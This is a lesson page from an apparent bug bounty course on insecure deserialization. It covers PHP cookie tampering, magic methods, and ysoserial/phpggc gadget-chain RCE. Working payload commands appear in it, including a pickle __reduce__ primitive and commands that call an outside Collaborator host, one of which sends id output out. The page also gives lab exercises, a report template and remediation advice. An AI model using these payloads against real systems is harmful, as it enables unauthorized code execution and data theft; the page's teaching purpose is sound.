Bug Bounty Course -- Day 39 of 60
65%

Insecure Deserialization Bug Bounty 2026 — Object Tampering, Gadget Chains & RCE | Bug Bounty Course Day 39 of 60

Insecure Deserialization Bug Bounty 2026 — Object Tampering, Gadget Chains & RCE | Bug Bounty Course Day 39 of 60
✨ AI Summary
💰 BUG BOUNTY HUNTER
FREE

Part of the Bug Bounty 60-Day Course

Insecure Deserialization Bug Bounty – Day 39 of 60 · 65% complete

Insecure deserialization is what happens when an app takes bytes you control and rebuilds a live object from them — trusting the bytes completely. At the simplest level, that’s a cookie holding a serialized User object with an isAdmin property: decode it, flip false to true, re-encode, and you’re an admin. But the real danger is deeper. Deserialization automatically runs lifecycle methods — PHP’s __wakeup, Java’s readObject, Python’s __reduce__ — on the object it’s rebuilding. Chain together methods that already exist in the app’s libraries and you can make the mere act of deserializing your payload execute a system command. That’s a gadget chain, and tools like ysoserial and phpggc generate them for you. A tampered cookie becomes privilege escalation; a crafted serialized blob becomes remote code execution.

🎯 What you’ll master in Day 39

Recognize serialized data across PHP, Java, Python, .NET and Ruby
Tamper object properties for privilege escalation
Understand magic methods and why they enable code execution
Generate gadget chains with ysoserial and phpggc
Confirm blind RCE out-of-band
Rate severity from property tampering (High) to RCE (Critical)

⏱ ~30 min read · 3 hands-on exercises · Burp Suite + ysoserial + phpggc + PortSwigger Academy

Before you start you’ll want: Burp Suite from Day 5, Java installed to run ysoserial, PHP + phpggc for PHP targets, and Burp Collaborator for blind RCE confirmation. A little comfort reading base64 and recognizing encoding helps — most serialized data arrives base64-encoded in cookies and tokens.

What insecure deserialization is

Serialization turns an in-memory object into a byte stream for storage or transport; deserialization rebuilds the object from those bytes. The vulnerability is deserializing bytes the attacker controls, using a native deserializer that reconstructs arbitrary object types and runs their lifecycle methods. The application treats the incoming bytes as trusted object state — but the attacker wrote those bytes.

There are two tiers of impact. The first is object tampering: the serialized object carries security-relevant state (a role flag, a user ID, a price), and you edit it. No special tooling needed — decode, change the value, re-encode. The second, far more serious tier is code execution via gadget chains. Because deserialization automatically invokes magic methods on the reconstructed object, and because those methods can call other methods, an attacker can assemble a chain of existing library methods (“gadgets”) that, when triggered by deserialization, ends in a dangerous sink like Runtime.exec or system(). The attacker injects no new code — they weaponize methods already present on the classpath.

This class is especially dangerous because the dangerous behavior happens during the act of deserializing, before the application’s own logic ever inspects the object. Validation that runs “after loading the object” is already too late — the gadget chain fired during the load.

🧠 EXERCISE 1 — THINK LIKE A HACKER (10 MIN · NO TOOLS)

Reason about serialized data before you touch a decoder:

  1. A session cookie decodes (base64) to O:4:"User":2:{s:8:"username";s:5:"alice";s:7:"isAdmin";b:0;}. What language is this, what does b:0 mean, and what single change makes you an admin? What else in the string must you keep consistent for it to parse?
  2. A different app’s cookie base64-decodes to bytes starting rO0AB. What language and format is that, can you simply flip a boolean like in question 1, and why is tampering alone usually not enough here — what do you reach for instead?
  3. Explain, in one sentence each, why validating the object’s fields after deserialization does nothing to stop a gadget chain, and why signing the serialized blob does stop both tampering and gadget chains.
✅ What you just learned: PHP serialization is human-readable and length-prefixed (so changing a string’s length requires updating its count), and b:0/b:1 is a boolean — flipping it is textbook privilege escalation. Java (rO0AB / AC ED 00 05) is binary and not simply hand-editable, so you move to gadget chains. And the defense insight: gadget chains fire during load, so post-load validation is useless, while a cryptographic signature rejects any tampered blob before it is ever deserialized.
📸 Write your answers for #day-39-insecure-deserialization before continuing.


Recognizing serialized data

You can’t exploit what you don’t notice. Serialized objects hide in cookies, hidden form fields, API tokens, caching layers, and message queues. Each language has a recognizable signature — learn them and you’ll spot deserialization surfaces at a glance.

SERIALIZED DATA SIGNATURES
# PHP serialization (human-readable, length-prefixed)
O:4:”User”:2:{s:8:”username”;s:5:”alice”;s:7:”isAdmin”;b:0;}
# O=object, s=string, i=int, b=bool, a=array
# Java serialized object (binary; base64 or hex)
base64: rO0AB… hex: AC ED 00 05
# Python pickle (base64; opcodes visible after decode)
gASV… or starts with \x80 (protocol marker)
# .NET BinaryFormatter / ViewState (base64)
AAEAAAD///// … (BinaryFormatter) __VIEWSTATE= … (ViewState)
# Ruby Marshal
starts with \x04\x08
# WHERE to look: cookies, hidden fields, tokens, Authorization headers,
# any base64 blob that round-trips to one of the signatures above

securityelites.com
Burp Decoder — cookie is a PHP serialized object
COOKIE (base64):
Tzo0OiJVc2VyIjoyOntzOjQ6Im5hbWUiO3M6NToiZ3Vlc3Qi…

DECODED
O:4:"User":2:{
s:4:"name"; s:5:"guest";
s:7:"isAdmin"; b:0;
}

O: = serialized object, b:0 = boolean false → flip to b:1

📸 A base64 cookie that round-trips to O:4:"User" is attacker-controlled object state. The isAdmin boolean (b:0) is the tell — the server rebuilds this object with no integrity check.


Object property tampering

When the serialized object is human-readable (PHP) and carries security state, tampering is the fastest win. Decode, change the value, fix any length prefixes, re-encode, and send. The one gotcha in PHP is the length prefix — strings are stored as s:<length>:"value", so if you change the value’s length you must update the number, or the object won’t parse.

PHP OBJECT TAMPERING — PRIVILEGE ESCALATION
# Decode the cookie
echo ‘Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjU6ImFsaWNlIjtzOjc6ImlzQWRtaW4iO2I6MDt9’ | base64 -d
O:4:”User”:2:{s:8:”username”;s:5:”alice”;s:7:”isAdmin”;b:0;}
# Flip the boolean: b:0 -> b:1 (no length change needed for booleans)
O:4:”User”:2:{s:8:”username”;s:5:”alice”;s:7:”isAdmin”;b:1;}
# Re-encode and set as the cookie
echo -n ‘O:4:”User”:2:{s:8:”username”;s:5:”alice”;s:7:”isAdmin”;b:1;}’ | base64
# CAUTION with strings: changing “alice”(5) to “administrator”(13)
# means s:5 must become s:13 or the object will not deserialize
s:13:”administrator”


Magic methods and the path to code

Tampering is limited to the state the object already holds. Code execution comes from magic methods — the lifecycle hooks that run automatically during deserialization. In PHP, __wakeup() runs when an object is unserialized and __destruct() runs when it’s destroyed; if a class on the codebase has a __destruct that, say, writes to a file path stored in a property, you can control that path by setting the property in your serialized object. In Java, readObject() is the entry point. In Python, __reduce__ literally returns a callable and its arguments to run on unpickling. These automatic invocations are the doorway: you supply an object whose reconstruction triggers useful behavior you didn’t have to call explicitly.

MAGIC METHODS THAT FIRE DURING DESERIALIZATION
# PHP
__wakeup() – runs when an object is unserialized
__destruct() – runs when the object is destroyed (end of request)
__toString() – runs when the object is used as a string
# Java
readObject() – custom deserialization hook, the gadget entry point
# Python (pickle)
__reduce__() – returns (callable, args) executed on unpickle
# Minimal pickle RCE primitive:
class E:
def __reduce__(self):
return (__import__(‘os’).system, (‘id’,))
# pickling E() then unpickling runs os.system(‘id’)
# Use a harmless OOB callback as the command, never a destructive one


Gadget chains with ysoserial and phpggc

For Java and PHP you rarely hand-build chains — the community has catalogued gadget chains for popular libraries, and tools generate the payloads. ysoserial produces Java gadget-chain payloads for dozens of libraries (CommonsCollections, Spring, etc.). phpggc (PHP Generic Gadget Chains) does the same for PHP frameworks (Laravel, Symfony, Monolog, etc.). You pick a chain that matches a library on the target’s classpath and a command, and the tool emits the serialized blob.

GENERATE GADGET-CHAIN PAYLOADS
# JAVA – ysoserial: pick a chain that matches a lib on the classpath
java -jar ysoserial.jar CommonsCollections4 “nslookup $(hostname).YOUR-COLLAB.oastify.com” | base64 -w0
# Paste the base64 into the serialized-object parameter (cookie/field/token)
# List available Java chains
java -jar ysoserial.jar
# PHP – phpggc: pick a framework chain, output base64
phpggc -b Monolog/RCE1 system “curl YOUR-COLLAB.oastify.com”
phpggc -l laravel # list available Laravel chains
# .NET – ysoserial.net for ViewState/BinaryFormatter targets
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c “nslookup …”
# ALWAYS use a harmless OOB command (nslookup/curl to your Collaborator)
# to CONFIRM execution. Never run destructive or data-reading commands.

💡 You don’t need to know which library is present up front. Spray the common chains (for Java: the CommonsCollections 1–7 variants, then Spring and others; for PHP: the framework the app clearly uses) each with a unique Collaborator subdomain so you can tell which chain fired. The one that produces a callback tells you both that the target is vulnerable and which library’s gadget chain worked — useful detail for the report.

Confirming blind RCE out-of-band

Deserialization RCE is almost always blind — the response won’t contain command output. You confirm it out-of-band: make the gadget chain run a command that forces a network callback to your Collaborator, ideally one that includes a unique identifier so you know exactly which payload fired. A DNS lookup is the most reliable because DNS egress is rarely filtered, even when HTTP is.

BLIND RCE CONFIRMATION — OUT-OF-BAND CALLBACK
# Use a command that forces an OOB callback with identifying info
# DNS (most reliable – survives HTTP egress filtering):
nslookup cc4-$(whoami).YOUR-COLLAB.oastify.com
# HTTP (if egress allows) – exfiltrate a harmless fact as proof:
curl http://YOUR-COLLAB.oastify.com/$(id | base64 -w0)
# In the Collaborator pane you’ll see the DNS/HTTP interaction, e.g.
DNS lookup: cc4-www-data.abc123.oastify.com <- RCE confirmed as www-data
# The callback alone proves code execution. STOP THERE.
# Do not open a shell, read data, or run anything destructive.

⚡ EXERCISE 2 — BURP LAB (25 MIN)

Work through PortSwigger Web Security Academy’s deserialization labs:

  1. Start with Modifying serialized objects — decode the PHP cookie, flip the admin boolean, and delete a user. This is pure property tampering.
  2. Do the labs on modifying data types and using application functionality to see how type juggling and existing classes extend tampering toward code paths.
  3. Do a PHP object injection lab that uses a magic method (__destruct writing a controlled path) to reach a file operation — your first real gadget.
  4. Finish with a pre-built gadget chain lab using phpggc (or the Java equivalent with ysoserial) to reach command execution, confirming via the lab’s mechanism.
✅ What you just learned: the progression is tamper → magic method → pre-built gadget chain → RCE. You rarely write a chain from scratch; the skill is recognizing the serialized data, picking the right tool and chain for the stack, and confirming execution safely out-of-band. The PHP labs make the magic-method mechanism concrete, which demystifies why the Java/ysoserial chains work.
📸 Share your gadget-chain command (harmless OOB callback) for #day-39-insecure-deserialization.


Writing the report that pays

A deserialization report must show the serialized-data location, the exact payload, and unambiguous evidence. For tampering, show the before/after object and the privilege change. For RCE, show the gadget-chain command and the Collaborator callback that proves execution. Rate by outcome and name the precise fix.

BUG BOUNTY REPORT TEMPLATE — DESERIALIZATION RCE
Title: Insecure Java Deserialization in the session Cookie Leading to Remote Code Execution — Critical

Severity: Critical (CVSS 9.8) — unauthenticated remote code execution on the application server
Affected Endpoint: Any request accepting the “session” cookie at https://www.target.com/

Summary: The application deserializes the base64-encoded Java object in the “session” cookie using native Java deserialization without class allowlisting or integrity protection. The classpath includes a vulnerable library (Apache Commons Collections 4), allowing a ysoserial gadget chain to execute arbitrary OS commands during deserialization.

Steps to Reproduce:
1. Observe the “session” cookie base64-decodes to a Java serialized object (magic bytes AC ED 00 05)
2. Generate a gadget chain with a harmless out-of-band command:
java -jar ysoserial.jar CommonsCollections4 “nslookup cc4-$(whoami).abc123.oastify.com” | base64 -w0
3. Replace the “session” cookie value with the generated payload and send any request
4. Burp Collaborator receives a DNS lookup for cc4-www-data.abc123.oastify.com, confirming code execution as the www-data user
[Collaborator log and payload attached. No further commands were run.]

Impact: An attacker can execute arbitrary operating-system commands on the application server simply by sending a crafted cookie, with no authentication required. This is full server compromise — access to application data, secrets, internal network, and lateral movement.

Remediation: Stop deserializing untrusted native Java objects. Replace the session mechanism with a signed, data-only token (e.g. a JWT or an HMAC-signed JSON payload) so no object graph is reconstructed from client data. If native deserialization must remain, implement look-ahead deserialization with a strict class allowlist (e.g. a validating ObjectInputStream) and cryptographically sign the serialized blob. Removing the vulnerable library is not sufficient — new gadget chains are found continuously.

⚡ EXERCISE 3 — WRITE THE REPORT (15 MIN)

Convert a lab solve into a full report:

  1. Write a tampering report (for the PHP admin-boolean lab) and an RCE report (for the gadget-chain lab). For each, include the serialized data location, the before/after or the payload, and the exact evidence.
  2. Rate each correctly: property tampering that escalates to admin is High; confirmed RCE via a gadget chain is Critical. Justify each rating in one sentence tied to impact.
  3. Write the remediation for the RCE as a systemic fix — not “remove CommonsCollections” (a blocklist that the next chain defeats) but “stop deserializing untrusted native objects; use signed data-only tokens or class allowlisting.” Explain in one line why removing one library isn’t enough.
✅ What you just learned: triagers downgrade reports that recommend removing a single gadget library, because deserialization of untrusted data is the real bug and new chains appear constantly. The winning remediation is to eliminate native deserialization of client data entirely, or to gate it behind a cryptographic signature and a class allowlist.
📸 Share your RCE report’s remediation section for #day-39-insecure-deserialization.

💰 Quick check: a target deserializes a Java object from a cookie. The developers respond to your report by removing the one vulnerable gadget library you used and say the issue is fixed. Why is this insufficient?




📋 Day 39 reference card

O:4:”User”:… b:0 / b:1PHP serialized object; flip the boolean for privilege escalation
rO0AB / AC ED 00 05Java serialized object signature — reach for a gadget chain, not tampering
__wakeup / __destruct / readObject / __reduce__Magic methods that run automatically during deserialization
ysoserial CommonsCollections4 “cmd”Generate a Java gadget-chain RCE payload
phpggc Monolog/RCE1 system “cmd”Generate a PHP gadget-chain RCE payload
nslookup $(whoami).collab…Harmless OOB callback to confirm blind RCE
Sign the blob + class allowlistThe real fix — not removing one gadget library

✅ Mark Day 39 complete

You can recognize serialized data across languages, tamper object properties for privilege escalation, explain why magic methods enable code execution, generate gadget chains with ysoserial and phpggc, confirm blind RCE out-of-band safely, and write a report that recommends the systemic fix.

Tomorrow — Day 40: Server-Side Template Injection — detecting template engines and escalating {{7*7}} into file read and remote code execution.

❓ Frequently asked questions

What is insecure deserialization?
Insecure deserialization is when an application deserializes attacker-controlled data back into live objects without validating it. Because deserialization rebuilds object state and often triggers lifecycle methods automatically, an attacker who controls the serialized data can tamper with object properties (privilege escalation) or, by chaining existing methods into a gadget chain, trigger dangerous operations up to remote code execution.
How do I recognize serialized data?
Each language has a signature. PHP serialized objects look like O:4:”User”:2:{…}. Java serialized objects base64-encode to a string starting rO0AB (hex AC ED 00 05). Python pickle appears base64-encoded with opcodes. .NET ViewState and BinaryFormatter blobs are base64. Ruby Marshal starts with \x04\x08. Spotting these in cookies, hidden fields, and tokens is the first step.
What is a gadget chain?
A gadget chain is a sequence of method calls using classes already present in the application’s libraries, arranged so that deserializing a crafted object triggers them in order and ends in a dangerous operation like command execution. The attacker reuses existing “gadgets” rather than injecting new code. Tools like ysoserial (Java), phpggc (PHP), and ysoserial.net (.NET) ship ready-made chains for common libraries.
What are magic methods and why do they matter?
Magic methods are lifecycle hooks that run automatically during object creation or destruction — PHP’s __wakeup/__destruct, Java’s readObject, Python’s __reduce__. During deserialization these run on the attacker-controlled object, so an attacker reaches code paths they never called directly. Gadget chains work precisely because these methods execute automatically when the object is reconstructed, before any application validation runs.
What severity does insecure deserialization get?
It ranges from High to Critical. Object property tampering that escalates privileges or changes user context is typically High. A working gadget chain achieving remote code execution is Critical — full server compromise. Even a gadget chain that only proves an out-of-band callback (blind RCE) is Critical because arbitrary code execution is demonstrated.
How is insecure deserialization fixed?
The strongest fix is to never deserialize untrusted data with native object deserializers — use a data-only format like JSON with schema validation instead. If native serialization is unavoidable, cryptographically sign the serialized data so tampering is detected, and use allowlists of permitted classes (look-ahead deserialization). Do not rely on blocklists of known gadgets; new chains are discovered continuously.
← Previous
Day 38: XXE Injection
Next →
Day 40: Server-Side Template Injection

📚 Further reading

ME
Mr Elite
My first deserialization RCE started as a privilege-escalation hunt. A cookie base64-decoded to a PHP serialized object with a role string, and I flipped it to admin — a clean High. But while staring at the object I noticed the app’s codebase (leaked earlier via an XXE file read, funnily enough) had a logging class with a __destruct that wrote to a filename stored in a property. That’s a gadget. I used phpggc to build a Monolog chain, set the command to a harmless curl to my Collaborator, swapped it into the cookie, and my Collaborator lit up. The High became a Critical. The lesson: when you find serialized data, don’t stop at tampering. Tampering is the appetizer. Ask whether any class that gets reconstructed has a magic method with a useful side effect — that’s the door from “edit a property” to “run a command,” and it’s where the Criticals live.

⚡
Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free
Lokesh N. Singh aka Mr Elite
Lokesh N. Singh aka Mr Elite
Founder, Securityelites · AI Red Team Educator
Founder of Securityelites and creator of the SE-ARTCP credential. Working penetration tester focused on AI red team, prompt injection research, and LLM security education.
About Lokesh ->

Leave a Comment

Your email address will not be published. Required fields are marked *